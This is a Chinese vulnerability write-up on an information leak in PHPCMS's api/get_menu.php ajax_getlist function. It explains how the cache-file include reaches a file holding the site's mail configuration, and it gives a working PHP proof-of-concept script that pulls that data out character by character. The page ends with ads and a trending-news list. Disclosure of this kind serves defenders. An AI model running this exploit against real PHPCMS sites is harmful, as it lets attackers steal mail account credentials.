PHPCMS系统邮箱信息泄露
- 发布时间:2016-09-03
- 公开时间:N/A
- 漏洞类型:变量覆盖
- 危害等级:高
- 漏洞编号:xianzhi-2016-09-44039559
- 测试版本:N/A
漏洞详情
13年的时候phpcms出过一个任意文件包含漏洞 http://www.freebuf.com/articles/web/8230.html 漏洞出现在api/get_menu.php的ajax_getlist()函数中function ajax_getlist() {
$cachefile = $_GET['cachefile'];
$path = $_GET['path'];
$title = $_GET['title'];
$key = $_GET['key'];
$infos = getcache($cachefile,$path);
后来官方做了修补 对提交的path cachefile进行了过滤 无法再用../跳出cache目录
function ajax_getlist() {
$cachefile = safe_getcache($_GET['cachefile']);
$path = safe_getcache($_GET['path']);
$title = $_GET['title'];
$key = $_GET['key'];
$infos = getcache($cachefile,$path);
包含的目标限定于caches目录下的各个caches_xxxx目录
一顿乱翻找到一个好东西
caches/caches_commons/caches_data/common.cache.php 这个文件中缓存了当前系统的邮箱配置信息
用来验证注册或者找回密码
$key = $_GET['key'];
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
is_array($infos)?null:$infos = array();
foreach($infos AS $k=>$v) {
if($v['parentid'] == $where_id) {
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>0) {
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
} else {
echo trim_script($_GET['callback']).'()';exit;
}
这里在info输出的时候有点坑 因为我们包含的common.cache.php与当前函数的目标文件不太一样
(common.cache.php返回的是一个一维数组,而函数设计是读取二维数组的内容)
所以需要一些特殊的方法来读取详细数据
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
$v在攻击的时候其实是一个字符串 而不是正常逻辑中的数组,好在$key变量可控 可以通过$v[0],$v[1],$v[2]….这样读取字符然后重组
提供poc如下
<?php
$data =array('','','','','','','','','','','','');
for($i=0;$i<30;$i++){
$uri = 'http://127.0.0.1/phpcms/api.php?op=get_menu&act=ajax_getlist&callback=aa&cachefile=common&path=commons&parentid=0&key=';
$ret = httpGet($uri.$i);
$retn =json_decode($ret,true);
foreach($retn as $key=>$value){
$tmp=explode(',',$value);
$data[$key].=$tmp[1];
}
}
var_dump($data);
function httpGet($url){
$ch = curl_init ();
curl_setopt($ch, CURLOPT_URL, $url);
//curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8888");
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$return = curl_exec ($ch);
curl_close ($ch);
return substr($return,3,-1);
}
效果如图
作者:索马里的乌贼
链接:https://www.jianshu.com/p/34e54bb25743
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 中美关系能够有一个更好的未来 4960402
- 2 维权平台现多起小米汽车退定投诉 4994544
- 3 男童去世身上多处伤 父亲:生母被拘 4826930
- 4 以新质生产力引领经济增长 4717180
- 5 90%的年轻人担心自己有病 4665344
- 6 吴磊吃绿鸡蛋食物中毒 4506520
- 7 “90后”陈翔宇升任副市长 4456733
- 8 赵丽颖进组在人间 4303109
- 9 北京辟谣图书馆有偿招志愿者 4298502
- 10 大学本科增设足球专业 你学吗? 4124301